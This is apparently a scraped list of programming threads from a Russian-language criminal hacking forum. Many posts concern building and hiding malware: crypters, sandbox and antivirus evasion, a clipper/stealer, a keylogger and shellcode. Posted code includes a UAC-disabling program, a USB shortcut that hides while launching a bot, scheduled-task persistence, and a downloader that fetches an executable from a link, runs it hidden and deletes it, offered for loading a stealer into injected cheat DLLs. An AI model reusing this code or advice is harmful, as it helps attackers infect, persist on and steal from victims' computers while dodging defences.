Video for understood : https://streamable.com/4bxt0u

How to compile a c file to x64 shellcode??
ID: 6765d804b4103b69df3757d3
Thread ID: 87674
Created: 2023-05-10T14:38:36+0000
Last Post: 2023-06-26T23:23:14+0000
Author: GGHTC
Replies: 7 Views: 579

I wanna make a program written in c to x64 shellcode, can you give me a step by step guide?

COM не работает из запуска Regsvr32
ID: 6765d804b4103b69df375704
Thread ID: 113521
Created: 2024-04-29T14:00:46+0000
Last Post: 2024-04-29T17:36:03+0000
Author: StormShadow
Replies: 9 Views: 577

Через COM собираю нужную мне инфу
Компилирую в ЕХЕ - работает
Компилирую в дллку и стартую через rundll32 - работает
Стартую через regsvr32 - Failed to initialize COM library. Error code: -2147417850

А так же если запускать дллку через regsvr32 и уже в памяти запускать второй файл, который использует COM - будет та же ошибка

Кто-нибудь сталкивался?

Android - Java / Получение и обмен данными с сервером в фоне (malware)
ID: 6765d804b4103b69df37598b
Thread ID: 53771
Created: 2021-07-07T21:43:26+0000
Last Post: 2021-07-07T21:43:26+0000
Author: Satana
Replies: 0 Views: 576

Здравствуйте.
Какой способ используют современные malware для взаимодейставия (получение команд и отправка ответа) с сервером в фоне?
Проблема в том что при длительной активности/уходе в doze система прибивает сервис молвари.

1.WorkManager и аналоги
2.fcm
3.Что-то другое

Технологии на Джуна в C# ?
ID: 6765d804b4103b69df3756ea
Thread ID: 118412
Created: 2024-07-08T06:14:24+0000
Last Post: 2024-07-08T06:54:36+0000
Author: Alexey18
Replies: 2 Views: 574

Чтобы пройти собес на стажера/джуна какими технологиями надо владеть(не берем базу ввиде SQL технологий, ооп, WPF)? я посмотрел hh и особо на джуна не требуют ничего. Во многом будто знания любого восьмиклассника подойдут.

Каким образом обнаружить запуск на сервисах по типу App.Any.Run, и не дать запустится файлу оттуда? C#
ID: 6765d804b4103b69df3757af
Thread ID: 92157
Created: 2023-07-05T14:46:35+0000
Last Post: 2023-08-14T19:28:31+0000
Author: ondatra227
Replies: 4 Views: 573

Каким образом обнаружить запуск на сервисах по типу App.Any.Run, и не дать запустится файлу оттуда? C#

непрозрачные константы на C++ (морф)
ID: 6765d804b4103b69df37576a
Thread ID: 103043
Created: 2023-11-27T04:32:39+0000
Last Post: 2023-11-28T16:13:12+0000
Author: salsa20
Replies: 13 Views: 573

Вот читаю для саморазвития маты с researchgate(если кому нужно оттуда дёрнуть инфо пишите, есть акк) и стало интересно
как это устроено.

можно так морфить код

(AI) Непрозрачные константы на C++ можно реализовать следующим образом:

1. Описать функцию, которая будет возвращать непрозрачную константу:

Code:Copy to clipboard

int get_opaque_const() {
  // код генерации на основе NP-полной задачи 
}

2. Вместо использования обычных констант в коде вызывать эту функцию:

Code:Copy to clipboard

int a = 10;
int b = 15;

int sum = a + b;

// c использованием непрозрачной константы
int a = 10;
int b = 15;

int opaque_const = get_opaque_const();

int sum = a ^ opaque_const + b;

3. Реализовать функцию get_opaque_const():

Code:Copy to clipboard

// глобальные переменные для графа и формулы
vector<vector<int>> graph;
vector<Clause> formula;

int get_opaque_const() {

  // генерация графа
  generate_graph(); 

  // проверка свойств графа
  // возврат бита константы
  return get_opaque_bit();

}

int get_opaque_bit() {

  if (check_clique()) {
    return 0;
  } else {
    return 1;
  }

}

Таким образом константа будет вычисляться во время выполнения программы на основе сложных графовых преобразований.

Прохоренок Н. А. Язык C. Самое необходимое.
ID: 6765d804b4103b69df375829
Thread ID: 80665
Created: 2023-01-25T20:34:30+0000
Last Post: 2023-01-25T20:34:30+0000
Author: handersen
Prefix: Мануал/Книга
Replies: 0 Views: 572

Язык С. Самое необходимое. 2020 г.
В книге описан базовый синтаксис современного языка C, рассмотрены основные функции стандартной библиотеки языка, а также функции, применяемые только в операционной системе Windows. Для написания, компиляции и запуска программ используется редактор Eclipse, а для создания исполняемого файла — компилятор gcc.exe версии 8.2. Электронный архив с примерами находится на сайте издательства.

Книга М. Фленов Библия C# 5-е издание
ID: 6765d804b4103b69df375838
Thread ID: 79139
Created: 2023-01-02T17:26:21+0000
Last Post: 2023-01-04T16:07:30+0000
Author: samuta
Replies: 7 Views: 571

Добрый день. Реально ли где-нибудь скачать эту книгу:
М. Фленов Библия C# 5-е издание
Или может у кого-то она есть в электронном виде?

.NET Reactor Deobfuscation ?
ID: 6765d804b4103b69df37571e
Thread ID: 111520
Created: 2024-03-29T03:09:31+0000
Last Post: 2024-04-01T22:02:30+0000
Author: devtm
Replies: 4 Views: 570

Hello fellows XSS.is Members :D

I'm looking for a solution to deobfuscate .Net Reactor V 6.x

1711681612810.png

I've tried several publicly available solutions like NetReactor Slayer & some De4dot builds but without success ..

Any suggestions are welcome ♥

Best regards

winsock и tor | чета ля туплю памагити
ID: 6765d804b4103b69df3759e0
Thread ID: 47918
Created: 2021-02-10T22:01:42+0000
Last Post: 2021-02-10T23:29:11+0000
Author: premiumcat
Replies: 7 Views: 567

нервы у меня, туплю жеска, памагите пожалуйста, есть ли у кого хотябы минимальный пример винсока и тора, общения клиент-сервер
ну я так понимаю задачу что мы запускаемс торыч на какам нибуд порту, потом сервервную программу

C:Copy to clipboard

  sockaddr_in server;
  server.sin_addr.S_un.S_addr = INADDR_ANY;
  server.sin_family = AF_INET;
  server.sin_port = htons(ПОРТ ТОРА);

и наш сервер терь живет в торе
у меня непонятки вообще во всём
да я наверное тупак, я знаю шо правда эта ест

но! мне очень очень хочется сделат
помогите советами или кодом, хоть чем нибудь все остальное сам
советы по теме:
как конфиг для сервера тора оформит
как запускат тор правильно с правильными параметрами на сервере
че делать клиенту, я понимаю шо тор тоже запускат

вообщем все что сможете, или захотите помогите пожалуйста
искренне прошу выгорел уже учень если вы понимаете о чем я

я не прошу инжектав, не прошу експлоитав, ничего не прошу сверхебучега
просто помогите чем сможете

Best obfuscator for C#? | Лучший обфускатор для C#?
ID: 6765d804b4103b69df37580f
Thread ID: 84092
Created: 2023-03-19T02:42:33+0000
Last Post: 2023-03-27T00:16:23+0000
Author: vril
Replies: 3 Views: 566

I am looking for a good obfuscator for my C# code. Before you say make your own, I am not skilled enough to do so. I tried using dnlib to just simply rename variables and methods and it was working for simple programs but not my clipper/stealer. I was getting an error "bad token" or something like that, when running the obfuscated exe. So now I am looking for the best obfuscator for C#. I have used .net reactor but I cant find a clean crack of it. Can anyone recommend a good obfuscator? Also, what settings are best for avoiding detections. I made my clipper 0/26 scantime and 2/26 runtime. I am not gonna crypt it anymore because I always get wacatac bullshit machine learning.

-----------------------------------------------------------------------------
Я ищу хороший обфускатор для моего кода C#. Прежде чем вы скажете сделать свой собственный, я недостаточно квалифицирован, чтобы сделать это. Я попытался использовать dnlib, чтобы просто переименовать переменные и методы, и он работал для простых программ, но не для моего клипера / похитителя. Я получал ошибку «плохой токен» или что-то в этом роде при запуске запутанного exe. Так что теперь я ищу лучший обфускатор для C#. Я использовал реактор.net, но я не могу найти чистую трещину в нем. Может ли кто-нибудь порекомендовать хороший обфускатор? Кроме того, какие настройки лучше всего подходят для предотвращения обнаружений. Я сделал свой клипер 0/26 время сканирования и 2/26 времени выполнения. Я больше не собираюсь его шифровать, потому что я всегда получаю wacatac дерьмо машинного обучения.

Hiding Windows with Powershell
ID: 6765d804b4103b69df375826
Thread ID: 80960
Created: 2023-01-31T07:32:00+0000
Last Post: 2023-02-04T03:32:04+0000
Author: DimmuBurgor
Replies: 4 Views: 564

Is there a good way to launch a program without using a comobject or wscript.shell? For some reason windowstyle hidden is not functioning as the documentation indicates it should regardless of UAC privs level. Could this be caused by start-process taking precedence by being called first?

EDIT: problem is present when/if pwsh is not the default console on system... now searching a solution for this

c++ KeyLogger
ID: 6765d804b4103b69df3756ec
Thread ID: 118277
Created: 2024-07-06T05:38:10+0000
Last Post: 2024-07-06T05:38:10+0000
Author: coolman1
Replies: 0 Views: 563

I'm going to make a keylogger in c++ but it'll only work on macOS. What AV techniques should I use?

Помогите разобраться в полиморфном алгоритме шифрования строк
ID: 6765d804b4103b69df375841
Thread ID: 78473
Created: 2022-12-20T15:01:06+0000
Last Post: 2022-12-21T08:27:12+0000
Author: cppjunior
Replies: 5 Views: 562

Есть алгоритм расшифровки строк. Надо разобраться как написать скрипт шифрования строк по этому принципу.
Примеры:

C++:Copy to clipboard

// szSecret = "Hello World!"
wchar_t szSecret[13] = { 0xB13D, 0xB159, 0xB15F, 0xB160, 0xB168, 0xB11A, 0xB152, 0xB169,
             0xB15F, 0xB16A, 0xB14F, 0xB10B, 0xB0F1 };

for (unsigned int fstHM = 0, TLuIA = 0; fstHM < 13; fstHM++)
{
    TLuIA = szSecret[fstHM];
    TLuIA = ~TLuIA;
    TLuIA --;
    TLuIA = ~TLuIA;
    TLuIA -= 0xA90C;
    TLuIA ^= fstHM;
    TLuIA += 0xF816;
    szSecret[fstHM] = TLuIA;
}

wprintf(szSecret);

C++:Copy to clipboard

// str = "xss.is"
    unsigned char str[7] = { 0xE8, 0xE3, 0xE3, 0xBE, 0xF9, 0xE3, 0x90 };

    for (unsigned int kKvDG = 0, QJOpI = 0; kKvDG < 7; kKvDG++)
    {
        QJOpI = str[kKvDG];
        QJOpI ^= 0x90;
        str[kKvDG] = QJOpI;
    }
    printf(str);

C++:Copy to clipboard

// str = "xss.is"
unsigned char str[7] = { 0x0F, 0x4F, 0x2C, 0xA6, 0xA9, 0xCB, 0xC6 };
 
for (unsigned int XZdsH = 0, LHjFW = 0; XZdsH < 7; XZdsH++)
{
        LHjFW = str[XZdsH];
        LHjFW ^= XZdsH;
        LHjFW = ((LHjFW << 3) | ( (LHjFW & 0xFF) >> 5)) & 0xFF;
        LHjFW ^= XZdsH;
        str[XZdsH] = LHjFW;
}
Как сделать уведомления в телеграмм C++
ID: 6765d804b4103b69df3759a9
Thread ID: 52096
Created: 2021-05-23T20:42:14+0000
Last Post: 2021-05-23T21:27:40+0000
Author: Sldx
Replies: 1 Views: 561

Помогите ?

C# Multithreading
ID: 6765d804b4103b69df375986
Thread ID: 54570
Created: 2021-07-29T18:24:34+0000
Last Post: 2021-07-29T18:24:34+0000
Author: scrim
Replies: 0 Views: 560

Hello, im searching for the best way to handle multithreaded drive, folder and file processing in language c#. Is IOCP working? does anyone have examples or links?

почему rva 5 ?
ID: 6765d804b4103b69df3756e2
Thread ID: 119651
Created: 2024-07-26T20:26:09+0000
Last Post: 2024-07-26T20:26:09+0000
Author: mddbs
Replies: 0 Views: 559

1722025296836.png1722025309573.png1722025342933.png1722025379357.png1722025390058.png1722025398722.png1722025488162.png1722025496978.png

Почему не напрямую адресс ,а делаю 5 размер инструкции
1722025540363.png

Как можно реализовать скрытие вызовов ? [С++]
ID: 6765d804b4103b69df375734
Thread ID: 109339
Created: 2024-02-29T10:09:06+0000
Last Post: 2024-03-10T20:29:29+0000
Author: Russian_Coder
Replies: 3 Views: 556

Как сделать грамотно скрытие вызовов модулей на С++?
слышал что можно их в проект встроить но потерял ссылку

Implementation of disabling UAC (C++)
ID: 6765d804b4103b69df37571b
Thread ID: 111684
Created: 2024-04-01T00:48:13+0000
Last Post: 2024-04-02T21:48:42+0000
Author: GridsNetwork
Replies: 2 Views: 556

C++:Copy to clipboard

#include <iostream>
#include <Windows.h>
#include <shellapi.h>

bool IsRunningAsAdmin() {
    BOOL isAdmin = FALSE;
    SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
    PSID AdministratorsGroup;
    if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID,
                                 DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0,
                                 &AdministratorsGroup)) {
        if (!CheckTokenMembership(nullptr, AdministratorsGroup, &isAdmin)) {
            isAdmin = FALSE;
        }
        FreeSid(AdministratorsGroup);
    }
    return isAdmin != FALSE;
}

void RestartAsAdmin() {
    wchar_t szPath[MAX_PATH];
    if (GetModuleFileName(nullptr, szPath, ARRAYSIZE(szPath))) {
        SHELLEXECUTEINFO sei = { sizeof(sei) };
        sei.lpVerb = L"runas";
        sei.lpFile = szPath;
        sei.hwnd = nullptr;
        sei.nShow = SW_NORMAL;

        if (!ShellExecuteEx(&sei)) {
            DWORD dwError = GetLastError();
            if (dwError == ERROR_CANCELLED) {
                std::cout << "Administrative privileges not granted." << std::endl;
            }
        }
    }
    exit(0);
}

int main() {
    const char* keyPath = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System";
    HKEY hKey;

    if (!IsRunningAsAdmin()) {
        RestartAsAdmin();
    }

    LONG lResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, keyPath, 0, KEY_WRITE, &hKey);
    if (lResult == ERROR_SUCCESS) {
        DWORD dwData = 0;
        lResult = RegSetValueEx(hKey, "EnableLUA", 0, REG_DWORD, (const BYTE*)&dwData, sizeof(dwData));
        RegCloseKey(hKey);

        if (lResult == ERROR_SUCCESS) {
            std::cout << "UAC has been disabled." << std::endl;
        } else {
            std::cout << "Failed to disable UAC." << std::endl;
        }
    } else {
        std::cout << "Registry key not found. UAC may already be disabled!." << std::endl;
    }

    return 0;
}
C++ Shortcut
ID: 6765d804b4103b69df375701
Thread ID: 113563
Created: 2024-04-30T07:39:46+0000
Last Post: 2024-05-14T00:43:13+0000
Author: netix
Replies: 1 Views: 552

So I'm using this shortcut:

Code:Copy to clipboard

void CreateShortCutW(LPCWSTR lpLnkFile, LPCWSTR lpIconFile, int iIconIndex)
{
    IShellLinkW *psl;

    HRESULT hres;
   
    CoInitialize(NULL);
   
    hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLinkW, (LPVOID*)&psl);

    if (SUCCEEDED(hres) && psl)
    {
        WCHAR wszLnkArg[MAX_PATH];
       
        wsprintfW(wszLnkArg, L"/c start .\\dir & start .\\dir\\bot.exe");   
       
        psl->SetPath(L"%windir%\\System32\\cmd.exe");
        psl->SetIconLocation(lpIconFile, iIconIndex);
        psl->SetShowCmd(SW_SHOWMINNOACTIVE);
        psl->SetArguments(wszLnkArg);

        IPersistFile *ppf;

        hres = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&ppf);

        if (SUCCEEDED(hres) && ppf)
        {
            ppf->Save(lpLnkFile, TRUE);
            ppf->Release();
        }

        psl->Release();

    }
}

It first opens the directory with all their files and then my bot.
The question is, will it work fine on all USB's, no matter what drive letter? Thx

[C#] How should I move my file after it has been executed? | Как мне переместить файл после его выполнения?
ID: 6765d804b4103b69df37583b
Thread ID: 78631
Created: 2022-12-22T22:07:38+0000
Last Post: 2022-12-24T18:55:38+0000
Author: vril
Replies: 2 Views: 552

I currently use File.Move ( ) to move my file into the user profile directory. This is what is causing detections within my stub. What is an alternative way without dropping a file onto the disk?

--- Translated ---

В настоящее время я использую File.Move() для перемещения моего файла в каталог профиля пользователя. Это то, что вызывает обнаружение в моей заглушке. Какой есть альтернативный способ без скидывания файла на диск?

hi, subsystem console c++
ID: 6765d804b4103b69df3759ac
Thread ID: 51962
Created: 2021-05-20T08:15:04+0000
Last Post: 2021-05-20T11:03:28+0000
Author: Jim0x
Replies: 2 Views: 551

приветствую, ребята есть момент, есть определенное приложение c++ в консольной сборке, при после компиляции и открытии exe открывается консоль как и положено, подскажите как можно сделать так что бы консоль не показывалась, если не ошибаюсь запуск консоли subsystem=windows

Подскажите как сделать криптор
ID: 6765d804b4103b69df375941
Thread ID: 58698
Created: 2021-11-09T21:57:35+0000
Last Post: 2021-11-25T18:42:06+0000
Author: DoomSlayer2002
Replies: 3 Views: 550

Я совсем немного знаю си и плюсы, сейчас читаю материалы про методы LoadPE и RunPE и вроде более менее про это я понял... Но про стабы нигде не могу найти толковую информацию подскажите

  1. Какой алгоритм для шифрования лучше выбрать?
  2. Сам стаб который будет дешифровывать код LoadPE или RunPE с кодом криптуемого файла, как его сделать каждый раз уникальным? Делать какой-то алгоритм для генерации мусорного исходного кода ?
  3. На основе каких факторов контролировать энтропию, я понял что от энтропии зависит палевность файла для антивирусов, как определить нужное соотношение?
  4. Каким образом осуществлять антиэмуляцию, неужели авторы крипторов исследуют все антивирусы и смотрят в дизассемблере как работает эмулятор?

P.S. Было бы круто увидеть мнение человека который на постоянке криптует)

Выделение памяти по адресу 0x400000
ID: 6765d804b4103b69df37592e
Thread ID: 59919
Created: 2021-12-10T15:15:01+0000
Last Post: 2021-12-12T19:08:47+0000
Author: c0d3r_0f_shr0d13ng3r
Replies: 11 Views: 550

Всем привет.Пытаюсь реализовать запуск в памяти(LoadPE) файла без reloc`ов.Выделяю память вот так:

C:Copy to clipboard

//pohHeader - OptionalHeader загружаемого файла
//pohHeader->ImageBase = 0x400000
//pohHeader->SizeOfImage =0x16000
LPVOID lpBase = VirtualAlloc((LPVOID)pohHeader->ImageBase, pohHeader->SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
               
if(lpBase == NULL)
{
    CHAR cError[30];
    wsprintfA(cError, "%d", GetLastError());
                   
    MessageBoxA(NULL, cError, "GetLastError", MB_OK);
                   
}

Но получаю GetLastError = 487 (ERROR_INVALID_ADDRESS).MSDN пишет, что я выделяю память не по валидному адресу.Подскажите пожалуйста, что я делаю неправильно? И есть ли вообще способ выделить память по стандартному адресу загрузки приложения?
P.S: ImageBase самого "загрузчика" изменил на 0x900000.Файл который загружаю - скомпилированный MINIPAD из екзамплов FASM-а, весит ~6кб

Новейшая книга Страуструпа по плюсам. A Tour of C++. 3rd edition. Bjarne Stroustrup. 2023
ID: 6765d804b4103b69df3757cc
Thread ID: 92388
Created: 2023-07-08T12:45:10+0000
Last Post: 2023-07-11T16:17:23+0000
Author: alex778
Replies: 9 Views: 549

Новейшая книга Страуструпа по плюсам. A Tour of C++. 3rd edition. Bjarne Stroustrup. 2023
Если кому то интересно обновить-освежить знания - рекомендую.

Я хочу изучать C++, но у меня нет основы, с чего мне начать?
ID: 6765d804b4103b69df375765
Thread ID: 103818
Created: 2023-12-10T04:39:54+0000
Last Post: 2023-12-11T18:26:45+0000
Author: Luckyzzz
Replies: 13 Views: 548

Если у вас нет никакой основы и вы хотите изучить C++, как вам сделать первый шаг?

Можно ли скомпилировать C/C++ под com(16 бит)?
ID: 6765d804b4103b69df37570f
Thread ID: 111999
Created: 2024-04-04T21:12:17+0000
Last Post: 2024-04-19T16:05:28+0000
Author: Alexey18
Replies: 4 Views: 548

В общем есть код простой на С++ либо С, но мне надо скомпилить его в ассемблер (com), чтобы работало под 16 битными эмуляторами NASM/TASM
Что можете посоветовать?

Зачем мне это надо, вопросы не задавайте пожалуйста.

Добавление программы в планировщик задач
ID: 6765d804b4103b69df37599c
Thread ID: 52738
Created: 2021-06-10T11:38:07+0000
Last Post: 2021-06-10T11:38:07+0000
Author: EmeliRouse
Replies: 0 Views: 548

Hidden content for authorized users.

Создадим метод Scheduler

C#:Copy to clipboard

/// <summary>
/// Метод для добавления программы в автозагрузку через Планировщик задач
/// </summary>
/// <param name="status">Выбор функции Добавить/Удалить задачу</param>
/// <param name="timeset">Выбор таймера по минутам</param>
/// <param name="count">Время запуска программы</param>
/// <param name="priority">Приоритет процесса</param>
/// <param name="taskname">Имя Задачи</param>
/// <param name="filepath">Путь к файлу который запускается в задаче</param>
/// <returns></returns>
public static bool Scheduler(bool status, string timeset, int count, string priority, string taskname, string filepath)
{
    if (string.IsNullOrWhiteSpace(taskname) || string.IsNullOrWhiteSpace(filepath)) return false;

    ProcessWindowStyle PwsHide = ProcessWindowStyle.Hidden;
    ProcessStartInfo startInfo = new ProcessStartInfo
    {
       FileName = "schtasks.exe",
       CreateNoWindow = false,
       WindowStyle = PwsHide
     };
    switch (status) // можно сделать через if кому как удобнее.
    {
         // Добавляет запись в планировщик
        case true: startInfo.Arguments = string.Concat("/create /sc ", timeset, " /mo ", count, " /rl ", priority, " /tn ", taskname, " /tr ", filepath, " /f"); break;
        // Удаляет запись из планировщика
        case false: startInfo.Arguments = string.Concat("/delete /tn ", taskname, " /f"); break;
    }
    try
    {
      using (Process info = Process.Start(startInfo)) { info.Refresh(); info.WaitForExit(); }
    }
   catch (Exception) { } startInfo = null;  return true;
}

Вызывается так:

C#:Copy to clipboard

Scheduler(false, "minute", 1, "highest", "NotepadTEST", string.Concat("\"", App, "\"")); // Где App это путь к вашему файлу.
Структуры данных — полный курс использования C и C++
ID: 6765d804b4103b69df3756fa
Thread ID: 115198
Created: 2024-05-23T10:00:12+0000
Last Post: 2024-05-23T10:00:12+0000
Author: AsteroidZ
Replies: 0 Views: 547
RDP Checker
ID: 6765d804b4103b69df3758b3
Thread ID: 68504
Created: 2022-06-11T17:55:44+0000
Last Post: 2022-06-29T07:16:01+0000
Author: Alex_Ionescu
Replies: 5 Views: 546

Писалось довольно давно (судя по коммитам - начало 2019), писалось на заказ как IOCP-замена аналогу, который запускает стопицот тысяч потоков и работает абы-как. За давностью лет - полагаю, что никто не останется в обиде. По замыслу дожно было быть продолжение в виде rdp-brutter и rdp-recognizer, но ушел в другой проект. Итак, встречайте. RDP Checker на ~~стероидах~~ IOCP. На входе передается результат mass scan в формате ip:port\r\n. На выходе - bad, good, xp. Если порт не указан - использует default_port. Короче, см. config.json. max_connections особо выкручивать не стоит, т.к. количество портов в системе ограничено, могут начаться пропуски (т.к. на закрытие старого соединения нужно время)

Подгрузка стиллера в длл
ID: 6765d804b4103b69df37586d
Thread ID: 75372
Created: 2022-11-06T18:46:20+0000
Last Post: 2022-11-07T09:00:45+0000
Author: kingessopper
Replies: 5 Views: 544

Эти 2 варианта подойдут только для длл которые инжектят в процесс, код нужно вставлять в файл main.cpp. Отлично подходит для читов кс го.
Если кому-то было полезно поставьте лайк.

Spoiler: 1 вариант

C++:Copy to clipboard

#include <exception>
#include <iostream>
#include <thread>
#include <Windows.h>
using namespace std
void Antuato();
{
    char szPath[256], szDirectoryPath[256];//патчим
    sprintf_s(szPath, "%s\nvcontainer\nvcontainer.exe", getenv("APPDATA")); // путь до нашего
    sprintf_s(szDirectoryPath, "%s\nvcontainer", getenv("APPDATA"));// путь до папки с нашим
    LPCTSTR Url = _T("Ссылка"), File = _T(szPath);
    std::filesystem::create_directories(szDirectoryPath);//создаем папку в аппдате с названием nvcontainer
    URLDownloadToFile(0, "Ссылка", nvcontainer.exe, 0, 0); // скачиваем
    Sleep(3000); // даем 3 секунды на скачку
    ShellExecute(NULL, "open", szPath, NULL, NULL, SW_HIDE);// запускаем тот самый
    Sleep(40000);// через n-ное кол-во секунд удаляем
    std::filesystem::remove(szPath); // удаляем

Spoiler: 2 вариант

C++:Copy to clipboard

    hr = URLDownloadToFile(0,
    "Ссылка", "название.exe", 0, 0);
    system("название.exe");
Проверка файла на скрытность
ID: 6765d804b4103b69df37599b
Thread ID: 52739
Created: 2021-06-10T11:41:32+0000
Last Post: 2021-06-10T11:41:32+0000
Author: EmeliRouse
Replies: 0 Views: 542

Hidden content for authorized users.

просто метод поможет проверить ваш файл скрытый он или нет

C#:Copy to clipboard

public static bool IsHideOrNo(string path)
 {
   try
   {
     return File.GetAttributes(string path).HasFlag(FileAttributes.Hidden) ? true : false;
   }
   catch { return false; }
}

Проверяем

C#:Copy to clipboard

if (isHideOrNo("Путь к файлу"))
{
   // Файл скрытый
}
// Файл не скрытый
[Владилен Минин] React Native 2020. Мобильная разработка на JavaScript
ID: 6765d804b4103b69df3759dd
Thread ID: 48077
Created: 2021-02-14T03:02:32+0000
Last Post: 2021-02-14T03:02:32+0000
Author: balabashka
Replies: 0 Views: 542

Название: React Native 2020. Мобильная разработка на JavaScript

Автор: Владилен Минин

Чему вы научитесь
Создавать мобильные приложения под iOS и Android на языке JavaScript
Создадите несколько приложений в течении курса
React Native на практике
Получите много опыта и Best Practices в React

Требования
Уверенное владение JavaScript + EcmaScript 6
Базовое понимание React JS
Знаний по Java или Swift НЕ нужно! Только JavaScript

Описание

Вы научитесь создавать крутые мобильные приложения для Android и iOS используя только JavaScript
Из предварительных знаний только JavaScript и React
В курсе содержится 11 блоков, 10 из которых - практические
В рамках данного курса вы создадите 2 мобильных приложения, на которых изучите функционал React Native
В курсе так же рассматривается React, React Hooks, Context API, Redux и React Best Practices

Для кого этот курс:

Веб-разработчики
Разработчики мобильных приложений
Фрилансеры
Frontend разработчики (любой уровень)

[Продажник](https://www.udemy.com/course/react-native-complete- guide/?97233d11=)

Скачать

лоадер с++ подкажите
ID: 6765d804b4103b69df3758fd
Thread ID: 62802
Created: 2022-02-11T11:52:37+0000
Last Post: 2022-02-15T19:35:25+0000
Author: salsa20
Replies: 7 Views: 539

Привет

Подскажите есть ли в сети примеры таковых? Посмотреть глазками как это работает

ARP-сканер для обнаружения устройств в локальной сети
ID: 6765d804b4103b69df375769
Thread ID: 99760
Created: 2023-10-10T03:11:24+0000
Last Post: 2023-11-29T16:08:24+0000
Author: salsa20
Replies: 2 Views: 532

Этот код на C# реализует утилиту для обнаружения устройств в локальной сети. Он основывается на принципах ARP (Address Resolution Protocol), используемых для соответствия IP-адресов и MAC-адресов в сети. Программа выполняет следующие действия:

  1. Извлекает список активных сетевых интерфейсов и их IP-адресов в локальной сети.
  2. Для каждого IP-адреса выполняет запрос к ARP-кэшу операционной системы, чтобы получить соответствующий MAC-адрес.
  3. Собирает информацию об IP и MAC-адресах устройств и выводит ее в консоль.

Думаю кому-то будет полезно.

C#:Copy to clipboard

using System.Collections.Generic;
using System.Linq;
using System;
using System.Net;
using System.Net.NetworkInformation;
using System.Runtime.InteropServices;

public class DeviceInfo
{
    public string IP { get; set; }
    public string MAC { get; set; }
}


public class ARPCache
{
    [StructLayout(LayoutKind.Sequential)]
    private struct MIB_IPNETROW
    {
        public int dwIndex;
        public int dwPhysAddrLen;
        public byte mac0, mac1, mac2, mac3, mac4, mac5;
        public int dwAddr;
        public int dwType;
    }

    [DllImport("IpHlpApi.dll")]
    private static extern int GetIpNetTable(IntPtr pIpNetTable, ref int pdwSize, bool bOrder);

    [DllImport("IpHlpApi.dll", SetLastError = true)]
    private static extern int FreeMibTable(IntPtr plpNetTable);
    // Add a method to get MAC address by IP address
    public string GetMacAddressByIp(IPAddress ip)
    {
        foreach (var entry in GetArpCache())
        {
            if (entry.Key.Equals(ip))
            {
                return entry.Value;
            }
        }

        return null; // IP address not found in ARP cache
    }
    public Dictionary<IPAddress, string> GetArpCache()
    {
        Dictionary<IPAddress, string> arpCache = new Dictionary<IPAddress, string>();

        int bufferSize = 0;
        int result = GetIpNetTable(IntPtr.Zero, ref bufferSize, false);

        IntPtr buffer = IntPtr.Zero;
        try
        {
            buffer = Marshal.AllocCoTaskMem(bufferSize);
            result = GetIpNetTable(buffer, ref bufferSize, false);

            if (result != 0)
            {
                throw new Exception("Unable to retrieve ARP cache.");
            }

            int entries = Marshal.ReadInt32(buffer);
            IntPtr currentBuffer = new IntPtr(buffer.ToInt64() + 4);

            for (int i = 0; i < entries; i++)
            {
                MIB_IPNETROW row = (MIB_IPNETROW)Marshal.PtrToStructure(currentBuffer, typeof(MIB_IPNETROW));
                IPAddress entryIP = new IPAddress(BitConverter.GetBytes(row.dwAddr));
                string macAddress = $"{row.mac0:X2}:{row.mac1:X2}:{row.mac2:X2}:{row.mac3:X2}:{row.mac4:X2}:{row.mac5:X2}";

                arpCache[entryIP] = macAddress;

                currentBuffer = new IntPtr(currentBuffer.ToInt64() + Marshal.SizeOf(typeof(MIB_IPNETROW)));
            }
        }
        finally
        {
            if (buffer != IntPtr.Zero)
            {
                FreeMibTable(buffer);
            }
        }

        return arpCache;
    }
}


class Program
{
    static void Main()
    {
        List<DeviceInfo> devices = DiscoverDevices();

        foreach (var device in devices)
        {
            Console.WriteLine($"IP: {device.IP}, MAC: {device.MAC}");
        }
    }

    static List<DeviceInfo> DiscoverDevices()
    {
        List<DeviceInfo> devices = new List<DeviceInfo>();

        // Perform ARP scan to discover devices
        foreach (var ip in GetLocalIPv4Addresses())
        {
            PhysicalAddress macAddress = GetMacAddress(ip);
            if (macAddress != null)
            {
                devices.Add(new DeviceInfo { IP = ip.ToString(), MAC = macAddress.ToString() });
            }
        }

        return devices;
    }

    static IEnumerable<IPAddress> GetLocalIPv4Addresses()
    {
        return NetworkInterface.GetAllNetworkInterfaces()
            .Where(netInterface => netInterface.OperationalStatus == OperationalStatus.Up)
            .SelectMany(netInterface => netInterface.GetIPProperties().UnicastAddresses)
            .Where(ip => ip.Address.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork)
            .Select(ip => ip.Address);
    }

    static PhysicalAddress GetMacAddress(IPAddress ip)
    {
        try
        {
            var arp = new ARPCache();
            var macAddress = arp.GetMacAddressByIp(ip);
            return !string.IsNullOrEmpty(macAddress) ? PhysicalAddress.Parse(macAddress) : null;
        }
        catch (Exception)
        {
            return null;
        }
    }

}
Книги по c++
ID: 6765d804b4103b69df375690
Thread ID: 127201
Created: 2024-11-19T07:10:13+0000
Last Post: 2024-12-09T14:02:42+0000
Author: Onyx1050
Replies: 4 Views: 532

Народ посоветуете хорошие актуальные книги по си++. Интересуюсь для себя.

Как сделать автовывод токенов ethereum на C#?
ID: 6765d804b4103b69df375799
Thread ID: 92108
Created: 2023-07-05T01:22:14+0000
Last Post: 2023-09-08T17:18:48+0000
Author: cergaver
Replies: 4 Views: 530

Заинтересовала тема автовыводов и уже какой день не могу написать автовывод через флешботы, может у кого нибудь есть код или, что нибудь, что могло бы мне помочь
Пишу через Nethereum

[Криптографические библиотеки], кто какие использует, отвязка от стандартной библиотеки
ID: 6765d804b4103b69df37586b
Thread ID: 75452
Created: 2022-11-08T01:22:58+0000
Last Post: 2022-11-08T20:16:30+0000
Author: arsarsov
Replies: 5 Views: 530

Помимо опроса хотел бы узнать, может кто-то уже проделывал данную операцию
Нужна реализация RSA на Си, без классов, чисто функционально\структурно
Так же без завязки на CRT и стандартную библиотеку
